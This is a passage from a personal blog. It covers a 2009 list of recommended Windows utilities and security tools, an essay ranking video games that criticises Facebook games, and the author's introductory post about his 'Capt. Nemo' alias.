<li><a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=Internet Download Manager"><strong>Internet Download Manager</strong></a>** :**My personal favourite download manager. Others that you may be interested in are : Orbit , <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=DownThemAll">DownThemAll</a>! ( a firefox extension). Helps me keep a track on what I’m downloading right now, and speed benefits are downright clear. I also like its feature to capture downloads from any application, so I don’t have to wait for those updates taking forever to download. Downloads using batch files, schedulers, and even turns off your computer when its done.</li>
<li><a href="http://www.voidtools.com/" target="_blank"><strong>Everything</strong></a>** : **I should have put this above all in the list. This is such a good tool, I cannot overestimate its importance. What it basically does is searches “Everything”. The tool does not index file contents/properties, and only maintains an index of file names. As such it is blazingly fast, and searches all my applications/music/files damn quick. With an efficient shortcut(such as Win+S), you’re on your way to becoming a windows power user. On the downside, once you start using this real frequently, you tend to get a little disorganized putting stuff everywhere, knowing you will find it with Everything. Here’s a link to the <a href="http://www.voidtools.com">website</a>. (MUST USE)</li>
<li><strong>Browsers :</strong> In browsers, I currently use a combination of <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=Google Chrome">Google Chrome</a>/<a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=Firefox">Firefox </a>as my primary browser, updated to the latest dev build, and last stable beta respectively. Both of these are great, and I prefer Firefox with its huge base of extensions available. And if someone is out there using IE still, please switch immediately. Firefox is such a great way to browse with, and Chrome such a ease on the eyes. Its hard for me to pick between the two, I’ll rather wait and watch over the next year, where each one stands. Safari and Opera come a distant second for me with Safari being the better one.</li>
<li>
<p><strong>File Tools :</strong> I use <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=7-zip">7-zip</a> for compression purposes, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=CCleaner">CCleaner </a>to rid my computer of junk, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=Defraggler">Defraggler </a>to defragment my hard disk, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=Recuva">Recuva </a>from the same company to restore those accidently deleted files.Another tool I would mention here is “<a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=GoodSync">GoodSync</a>” which i use to sync my usb drive and my Documents. I also use it to organize my Start Menu, using a Dock folder in my Desktop, which i sync to the Start Menu. <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=Dropbox">Dropbox</a> is the best tool I use for my syncing purposes, between different computers. It offers 2 gb for starters, and all the sync is on the fly, meaning you just copy things to your Dropbox folder, which is automatically synced to all of your computer. It is also a great way to sync your projects with different people.</p>
</li>
<li>
<p>**Multimedia : **I prefer Windows Media Player 11 for audio, and <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=VLC">VLC </a>for video viewing. With my NowPlaying gadget, and GTalk in sync with WMP, its easy to change tracks, and let others know what you’re listening to. I also use Zune occasionally when I’m in the mood of a pure music experience. Pictures are pretty easy to manage with Windows built in Photo Gallery, or its live version. Also check out picasa, google’s free photo management tool.</p>
</li>
<li>
<p><strong>Office Tools :</strong>I am currently using a Technical Preview Beta of <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=Office 2010">Office 2010</a>, for documents,presentations. <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=Notepad++">Notepad++</a> for text and code editing, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=Foxit PDF Reader">Foxit PDF Reader</a> for ebooks, and reading stuff, which is way faster, and smaller than that Bloated Adobe Acrobat Reader. I use <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=Windows Live Writer,">Windows Live Writer</a>, which offers a lot of plugins to edit posts, including this one.Offline gmail and Google Docs capability is way cooler than you think. Do try it out</p>
</li>
<li>
<p><strong><a href="http://captn3m0.files.wordpress.com/2009/12/mse.jpg"><img class="thumbnail" style="display:inline;border-width:0;margin:0 0 0 20px;" title="mse" src="http://captn3m0.files.wordpress.com/2009/12/mse_thumb.jpg" border="0" alt="mse" width="306" height="168" align="right" /></a> Anti Virus :</strong> This is one of the areas where I am consulted the most. Which antivirus to use? Well I would recommend you <a href="http://www.google.com/search?btnI=I'm Feeling Lucky&q=Kaspersky">Kaspersky </a>if you’re ready to shell out some money with a little slowing down to your system or use “<a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=Microsoft Security Essentials">Microsoft Security Essentials</a>” which I currently use. It is quick, doesn’t hog down my system, stops real time protection when i want it to, excludes some of my dangerous folders from being scanned and nuked, updates itself, detects almost any virus I dare to throw at it, and looks neat. On the downside, however it is just minimal, with no support for hosts file scanning, white listing, firewall, cookie management, user control, among other “high level stuff” that other anti viruses offer. But I like it, have been consistently using it for last 3 months, and am pretty sure I’m virus free. It does have a catch : you must own a valid, genuine copy of Windows to use the tool.</p>
</li>
<li>
<p><strong>Security Tools :</strong> Security Tools includes those nifty small programs that help me keep my computer safe, and sound. This listing comprises of tools I would suggest to the average user, I personally use a combination more than the following tools:</p>
<ul>
<li>
<p><a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=AMPAWSmasherX">AMPAWSmasherX</a> :Stops antiviruses from using your pen drive as a medium, by blocking that autorun.inf file. You might not find the tool easily available for download, but if you do, its a pretty good one.</p>
</li>
<li>
<p><a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=SpyBot Search & Destroy">SpyBot Search & Destroy</a> : This is a one stop protection for all malware. Keep the definitions updated, however, and you will find that infections are pretty easy to deal with.</p>
</li>
<li>
<p><a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=HiJack This">HiJack This</a> : Must use every 2 weeks or so. Shows you anything that has been changed from normal settings on your computer,and allows you to change it to default. Use carefully, as it may cause instability on your system later on, as it is quite a powerful tool, and if you don’t know what to do, generate your report, and post it online in one of the help forums.</p>
</li>
<li>
<p><a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=WinPatrol"><img class="thumbnail" style="display:inline;margin-left:0;margin-right:0;border-width:0;" title="winpatrol" src="http://captn3m0.files.wordpress.com/2009/12/winpatrol.jpg" border="0" alt="winpatrol" width="377" height="168" align="right" /> WinPatrol</a> : This is also a must-use program for securing your computer against anything “unwanted” which may include viruses, malware, additional crapware, fake windows services, hidden files, and the like. This is basically a watchdog(Scotty), which keeps a watch on any new startup programs (my favorite), and file extension changes, and new services and the like. If Scotty detects an unwanted change in your system, it barks and reminds you of the change and asks you if you’d like to keep it. It also allows you to add/remove/delay your startup programs list, and is my favourite program of the lot.</p>
</li>
</ul>
</li>
<li>
<p>**Other Tools : **I would just like to recommend some more everyday helpful tools to you, in no particular order. Try them out, you might like them or not, but they are definitely worth checking out : <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=TeraCopy">TeraCopy</a>, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=AveThumbnail Resizer">AveThumbnail Resizer</a>, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=TuneUpUtilities">TuneUpUtilities</a>, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=VistaGlazz">VistaGlazz</a>(must use for including transparency in title bar, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=appwiz.cpl">appwiz.cpl</a>, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=WinBubbles">WinBubbles</a>, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=Privoxy">Privoxy</a>, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=TaskBar Shuffle">TaskBar Shuffle</a>, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=Paint.NET">Paint.NET</a>, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=DupFiles">DupFiles</a>, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=WinDirStat">WinDirStat</a>, <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=OverDisk">OverDisk</a> (both for checking disk usage), <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=PMenu">PMenu</a>(especially if you use portable programs in you usb drive, or for assigning Win+ hotkeys to programs, like I use Win+P=paint, N=notepad), <a href="http://www.google.com/search?btnI=I'm Feeling Lucky&q=Nero Free version">Nero Free version</a> among others (Refer below for a complete listing)
<a href="http://captn3m0.files.wordpress.com/2009/12/pm.jpg"><img class="thumbnail" style="display:inline;margin-left:0;margin-right:0;border-width:0;" title="PowerMenu" src="http://captn3m0.files.wordpress.com/2009/12/pm_thumb.jpg" border="0" alt="PowerMenu" width="244" height="195" align="right" /></a></p>
</li>
<li>**Looks : **Looks are necessary part of making your computer shine out in the crowd. And I use the least required programs for that purpose. Using Tune Up’s styler to change my login Screen, and my personal wallpaper collection which I shuffle through using “Vortec Wallpaper changer”, a utility i built. Using Vista Glazz to patch my theme files to support 3rd party themes, I use themes downloaded from “deviantArt”. I also iconized my taskbar, for efficiently managing taskbar, and changed the quick launch icon size to large(looks cool). <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=QTTab Bar">QTTab Bar</a> is also a cool addition to Windows installing tabbed browsing in Windows Explorer. The current theme I use is “Cleaero”, and it gives me some cool transparency. I also use <a href="http://www.google.com/search?btnI=I’m Feeling Lucky&q=PowerMenu">PowerMenu</a>(another must use)for adding transparency, or changing priority of any window. I love it when my firefox window is transparent and I’m browsing while watching a video in the background. That is damn-right as cool as it gets without using Windows Blinds. And choosing the coolest gadgets can make all the difference, so see if you can find the right ones!</li>
</ul>
<h3 id="complete-listing-of-tools">Complete Listing of Tools</h3>
<blockquote>
<p>The above was just a partial listing of the programs that I use. I generated a file listing of all the sofwares that I using four different methods. All of these are in text files, that you may use, with one exception. The easiest one is a tree map generated for my Dock Folder(list.dock). I generate a listing of all exe files inside my program files(which may not be complete since many like Chrome are installed in userdata folder). This one is renamed as list.exe.txt. Next I generate a listing of all installed programs using Hijack this!, called list.hijack. Another one was compiled using windirstat (list.windirstat). Using OverDisk I generated a virtual folder view of my Apps directory(this one’s huge at 2.x mb). Then I zipped them up and post them here. Browse through them, you might find a lesser used unknown app here. Especially check out the “tiny” folder. It is literally legendary, with tons of stuff! And one more thing, use OverDisk to open the ovd file.</p>
<p>Download Here – <a href="http://dl.dropbox.com/u/1766113/List.zip" target="_self">Listings</a></p>
</blockquote>
<p>This list was composed by Capt. Nemo as a recommendation for non-power users of Windows. You are free to check out any of the programs, most of them are freeware, if not open source, and do not pose a harm to your computer. However if anything happens to your computer by these tools I am NOT responsible for the usage of the tool. And I try to use open-source/freeware tools as far as possible. If you use a commercial tool, do remember to pay the author, and stand against piracy. Otherwise use “Free as in Beer” tools like me!</p>
Games to play and not to play2009-11-23T00:00:00+00:00https://captnemo.in/blog/2009/11/23/gamers-saga-games-to-play-and-not-to-play<p>This article has been bubbling in my mind for quite some time, and I’ve decided to steam it off. There are games that you must play, like Mario or Contra. Then there are games that you play (Counter Strike, AoE). Some games you wish you could play (Assassin’s Creed, Far Cry). Games you should play (Braid, Minesweeper, Spore). And finally come the games you must NEVER play (Farmville, World Of Warcraft, Mafia Wars, School Of Magic and the like). Why this categorization? Because I recently decided to leave School Of Magic on facebook after a week long affair where I reached lvl 15, and was about to get into “thick of things” as they say. Why? Because I realized that SOM is not a true game. A game is supposed to be entertaining, and indulgive. If it tells me to do something, I must do it because I take interest in it. Not to get ahead of my peers. I recently came across an <a href="http://www.smh.com.au/news/articles/ethical-dilemmas/2007/09/19/1189881577195.html">article</a> by <a href="http://en.wikipedia.org/wiki/Jonathan_Blow">Jonathan Blow</a>, my favourite game designer (Braid). He opened my mind to the fact that <strong>“A Game is a form of art”</strong>.</p>
<p>You may not agree with this statement right now, but consider James Cameron’s Avatar, which looks so close to real, yet is live 3d. It does look kind of gamer-ish, doesn’t it? And we all agree that cinemas, and literature are a part of our culture, part of our art. But as movies get closer to games(Resident Evil, Prince Of Persia), the same is happening the other way around. Games are becoming a part of our art culture. Games like Bio-Shock, and Fear portray the doomed versions of our future. The designer behind these games did not just say, let’s make another FPS, where you kill everything that moves (that was Doom 1,2 by the way). They decided to create a realistic storyline, and a better game play. That is as innovative as it takes to get the feel of the game to the player. Let us now take up some of these categories I defined quickly.</p>
<dl>
<dt>Games You Must Play</dt>
<dd>These are the kind of games, that each of us has played. They remind us of how we first stared at that green background trying to figure out the next play in Solitaire. Or the joy of ducking under the dragon and touching that axe in Mario. These games still remind us about the giant leap that the gaming industry has taken. For Dave, Wolf-3d, Roadrash, we have reached graphics quality that surpasses HD (Call Of Duty Modern Warfare 2)</dd>
<dt>Games You Play</dt>
<dd>Skip this if you aren’t a gamer. If you’re one, well you know the games I’m talking about. Nothing beats taking a frag with a deagle. Other than maybe shouting 14 before all those AoE games. Its the thrill, and excitement, and your love of the game that keeps you glued to the seat. I won’t call these games entirely unethical, because the game play here is fair enough, and exciting. You know what you’re doing, and why. And its not just because of that score, or frag. It is also because of the satisfaction that you get after that frag.</dd>
<dt>Games You Wish You Could Play</dt>
<dd>Sometimes you Graphics Card isn’t all that powerful, or you just can’t find a torrent/download link for the game. Sometimes 10GB games do seem big. And sometimes, as in the case of FIESTA, the game hasn’t been launched for PC.</dd>
<dt>Games You Should Play</dt>
<dd>These are the games that really matter. That form of the core of my “games are art” theory. Games like <a href="http://www.braid-game.com">Braid</a>, <a href="http://www.hemispheregames.com/osmos/">Osmos</a>, Minesweeper, Prince Of Persia (not all), Tomb Raider (again not all parts). These games take you into their own world, where you get to learn, listen, think, and observe. Where you play the game because its exciting, and fun, and you want to play it. Not because someone is offering you a “level up” if you click on a button.</dd>
<dt>Games You Should Never Play</dt>
<dd>If once is not enough, I repeat, <strong>Stay away from these games</strong>. Please, these hacked up versions of the same code, or sometimes game idea, do not deserve to be called as games. Mafia Wars, Restaurant, Cafe Shop, and all of those mindless facebook games come here. And so do War Of Warcraft, Travian, NFS Pro Street(that was just a bad game). These so-called-games
<ol>
<li>do nothing to entertain you</li>
<li>offer you nothing but just-another-level-up</li>
<li>never “teach” something (play braid, you’ll understand what I mean)</li>
<li>have nothing interesting</li>
</ol>
</dd>
</dl>
<p>Then what is the reason that they are so hyped, and most played MMORPGs? The reason is lack of better games. Lack of games that exist on facebook and is not-another-clone-of-mafia-wars. Lack of games that adhere to strict design ideas. Do not take me wrong. There are some serious game designers who are talented, but the truth is that they are forced to make what sells, and what sells is Mafia Wars. Unfortunately. And these people are forced to work for such games. Wasting their talent on such mindless games. And if all of this wasn’t enough read this quote by the CEO of Mafia Wars :</p>
<blockquote>
<p>I knew that i wanted to control my destiny, so I knew I needed revenues, right, fucking, now. Like I needed revenues now. So I funded the company myself but I did every horrible thing in the book to, just to get revenues right away. I mean we gave our users poker chips if they downloaded this zwinky toolbar which was like, I dont know, I downloaded it once and couldn’t get rid of it. <em>laughs</em> We did anything possible just to just get revenues so that we could grow and be a real business…So control your destiny. So that was a big lesson, controlling your business. So by the time we raised money we were profitable.</p>
</blockquote>
<p>Read the entire story on facebook gaming scams <a href="https://consumerist.com/2009/11/09/mafia-wars-ceo-brags-about-scamming-users-from-day-one/">here</a>. And if you’re with me, try picking up some better titles instead of playing these nonsense games on FB</p>
Welcome Aboard The Nautilus2009-11-19T00:00:00+00:00https://captnemo.in/blog/2009/11/19/welcome<p>This is my first real post on my brand new blog at wordpress, and quite seriously, I’m thrilled to get a new start. I hope this project would flourish unlike many of the other things I took up (<a href="http://kasiasi.blogspot.com" target="_blank">Kasiasi</a>, <a href="http://www.papercut.co.nr" target="_blank">Papercut</a>,…). I have not yet completely given up on Papercut, and I really liked the Google Sites interface, but posting online, and editing it takes time. So this is my first attempt at publishing offline edited work, using Windows Live Writer. I’ll try to use other options as well, and let you know which I like best.</p>
<p>Now for some blogging stuff. What’s happening aboard the Nautilus? What is the Nautilus, and who is Capt. Nemo ? Let me answer these these three questions in my introductory post first. It all began in Kota, when I was a JEE student vying to enter the holiest institutes of the country, the IIT. And what I was doing there was, well studying and playing Age Of Empires, with my two best friends, Sankalp (aka General Hendrix) and Shundi (aka DR. Lecter). And our trio was one of the most feared AoE clans in Kota. We were playing together in perfect team play, and knew every counter there was to know, and every fact in the guidebook.</p>
<p>There was just a little flaw, I didn’t have a name. I used to play under various names, like Godfather, Eragon, and of course Harry Potter, but none of these stuck, and I was still nameless. I was like Maerad in the The Gift, looking for her true name. That night I went sleepless, and searched my inner soul for my True name. Both of my teammates already had titles (one doctor, and other a general), so I decided I would get one as well. And after storming by brain for all the books I’ve read, and all those movies, I settled for <a href="http://en.wikipedia.org/wiki/Capt._Nemo" target="_blank">Capt. Nemo</a>. Where did I get the name from? It was from a book called “20,000 Leagues under the sea”, by the immortal master of Sc-Fi, Jules Verne. The character of Capt. Nemo was one of most mysterious you could ever see. And one of the most brilliant. And I got it when I’d read it for the umpteenth time, Capt. Nemo wasn’t an enigma. Just because he didn’t fit into the definition of a hero doesn’t make him a villain. I could go on and on about the character, but that would take up space, which I’m determined to use to answer the other 2 questions.</p>
<p>So what is the Nautilus. I call pretty much everything I own, the Nautilus. Why? Because that was Capt. Nemo’s masterpiece. His submarine, and the very first, at least on paper.And my room and my laptop are labelled as Nautilus . And this blog is the path that I follow “Aboard The Nautilus”. That brings me to the third question, what I’ve been doing lately?</p>
<p>Lately I’ve been playing around with PHP a lot, and mind you it is really cool. I might post some of my experiences with PHP later on. And the reason I’ve been playing with PHP is because I’ve been working on my own website(its not exactly mine, its under Web Designing Section, IITR, but I’ve written 95% of its code). I’ll be launching soon, under a limited beta, so keep watching. I’ve also been working on the second issue of Criitique, an e-magazine for the youth. With kick-ass articles you are sure to like it. Do check it at <a href="http://www.criitique.com">www.criitique.com</a>. Playing Age Of Empires is now a daily affair for me now, and I’ve been working my way up and down my timings. For those interested, my timings currently are “13,20,35 with 27,28-29 pop. I’ve been tweeting a lot, and I still don’t know why the twitter fad isn’t catching up in India. Twitter is fast, and easy, so why don’t people use it? Any ideas? Let me know.</p>
<p>I’ve also got to study, with my end sems coming up, and this seems to be the time to do it. Got any more brainstorming ideas to work on? Wanna work with me? Join the fun Aboard The Nautilus</p>
<p>As an update, Windows Live Writer refused to connect to my blog and I finnaly used BlogDesk to publish my post. And I also tried Qumana, and wBlogger, and FYI, none of them work.</p>